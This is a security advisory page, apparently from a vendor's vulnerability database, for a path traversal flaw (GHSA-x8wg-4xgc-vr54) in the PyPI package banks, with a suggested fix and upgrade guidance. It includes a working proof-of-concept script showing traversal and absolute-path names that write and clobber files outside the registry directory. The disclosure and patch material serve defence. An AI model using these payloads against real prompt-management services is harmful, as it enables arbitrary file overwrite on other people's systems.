Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI
Not in CISA KEV

GHSA-x8wg-4xgc-vr54 banks

Fix: masci/banks#77

GHSA-x8wg-4xgc-vr54 is a Path Traversal vulnerability in banks. A fix is available for banks — see the affected versions and patch details below.

Banks: Path traversal in `DirectoryPromptRegistry.set()` allows arbitrary file write outside the registry root

Also known asCVE-2026-71492PYSEC-2026-3810
Published
Sep 2, 2026
Updated
Sep 10, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 18, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs26th percentile — riskier than 26% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected
🐍banks

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

DirectoryPromptRegistry.set() interpolates the attacker-controllable Prompt.name into a Path expression with no canonicalization. An application that derives the prompt name from request data lets a caller write attacker-controlled bytes outside the configured registry directory.

Details

src/banks/registries/directory.py:44

prompt_file = path / f"{prompt.name}.{prompt.version}.jinja"
prompt_file.write_text(prompt.raw)

Two failure modes:

  1. Relative traversal. name="../victim/foo" resolves to <registry>/../victim/foo.0.jinja — outside the configured root.
  2. Absolute-path bypass. pathlib documents that Path("/a") / Path("/b") returns Path("/b"). So name="/abs/path" discards the registry root entirely; the registry is never consulted.

The poisoned name is then persisted to index.json, so the out-of-root path keeps reconstructing on later _load() calls (directory.py:135-141). With overwrite=True, existing files at the target path are replaced.

Proof of Concept

import tempfile
from pathlib import Path
from banks import Prompt
from banks.registries import DirectoryPromptRegistry

work = Path(tempfile.mkdtemp())
registry = work / "registry"; registry.mkdir()
victim   = work / "victim";   victim.mkdir()

reg = DirectoryPromptRegistry(str(registry))

# (1) Relative traversal
reg.set(prompt=Prompt("pwn", name="../victim/pwned", version="0"))
print((victim / "pwned.0.jinja").read_text())            # 'pwn'

# (2) Absolute-path bypass — registry root is silently discarded
target = victim / "absolute_pwn"
reg.set(prompt=Prompt("abs pwn", name=str(target), version="0"))
print((victim / "absolute_pwn.0.jinja").read_text())     # 'abs pwn'

# (3) Clobber an existing file
existing = victim / "clobber_me"
existing.write_text("ORIGINAL\n")
reg.set(prompt=Prompt("CLOBBERED", name=str(existing), version="0"),
        overwrite=True)
print((victim / "clobber_me.0.jinja").read_text())       # 'CLOBBERED'

Output (verified on banks==2.4.2):

pwn
abs pwn
CLOBBERED

test_sandbox_baseline.py

<img width="793" height="149" alt="Screenshot 2026-05-10 at 3 19 49 PM" src="https://github.com/user-attachments/assets/5c8a79ba-eaf8-4425-8612-4414bc34a0d6" />

registry_path_traversal.py

<img width="893" height="221" alt="Screenshot 2026-05-10 at 3 20 02 PM" src="https://github.com/user-attachments/assets/8aceca27-5df1-4b59-9a77-502698da6e65" />

registry_path_traversal_v2.py

<img width="1036" height="272" alt="Screenshot 2026-05-10 at 3 20 18 PM" src="https://github.com/user-attachments/assets/aaceec31-f9a8-432f-b013-29694dd22478" />

Negative control: with a benign name="okay-name", the file lands inside <registry>/ and the victim directory remains untouched.

Impact

Arbitrary file write at an attacker-chosen path with attacker-controlled bytes, scoped to whatever the application process can write to. The .0.jinja suffix limits some chains, but does not prevent overwriting templates consumed by the same or another application, planting files that other tooling ingests, or clobbering predictable-path config artifacts.

Realistic threat model: any "prompt management" service that exposes prompt creation through an authenticated API and forwards user-supplied name (and version) to Prompt(...) plus DirectoryPromptRegistry.set().

Suggested Fix

Reject obviously dangerous names early and verify the resulting path stays under the registry root after canonicalization:

# src/banks/registries/directory.py
import re

_NAME_RE = re.compile(r"[A-Za-z0-9._-]+")

@classmethod
def from_prompt_path(cls, prompt, path):
    if not _NAME_RE.fullmatch(prompt.name or ""):
        raise InvalidPromptError(f"Invalid prompt name: {prompt.name!r}")
    if not _NAME_RE.fullmatch(prompt.version or ""):
        raise InvalidPromptError(f"Invalid prompt version: {prompt.version!r}")

    candidate = (path / f"{prompt.name}.{prompt.version}.jinja").resolve()
    if candidate.parent != path.resolve():
        raise InvalidPromptError(
            f"Prompt path escapes registry root: {candidate}"
        )

    candidate.write_text(prompt.raw)
    return cls(
        text=prompt.raw, name=prompt.name, version=prompt.version,
        metadata=prompt.metadata, path=candidate,
    )

The same enforcement should run inside _load() and _get_prompt_file() so a poisoned index.json from a vulnerable run cannot keep escaping after upgrade.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIbanksall versions2.4.5pip install --upgrade 'banks==2.4.5'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for banks, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update banks to 2.4.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-x8wg-4xgc-vr54 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-x8wg-4xgc-vr54 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-x8wg-4xgc-vr54. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary `DirectoryPromptRegistry.set()` interpolates the attacker-controllable `Prompt.name` into a `Path` expression with no canonicalization. An application that derives the prompt name from request data lets a caller write attacker-controlled bytes outside the configured registry directory. ## Details `src/banks/registries/directory.py:44` ```python prompt_file = path / f"{prompt.name}.{prompt.version}.jinja" prompt_file.write_text(prompt.raw) ``` Two failure modes: 1. **Relative traversal.** `name="../victim/foo"` resolves to `<registry>/../victim/foo.0.jinja` — outside the config
O3 Security · Impact-Aware SCA

Is GHSA-x8wg-4xgc-vr54 in your dependencies?

O3 Security finds GHSA-x8wg-4xgc-vr54 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-x8wg-4xgc-vr54: banks | O3 Security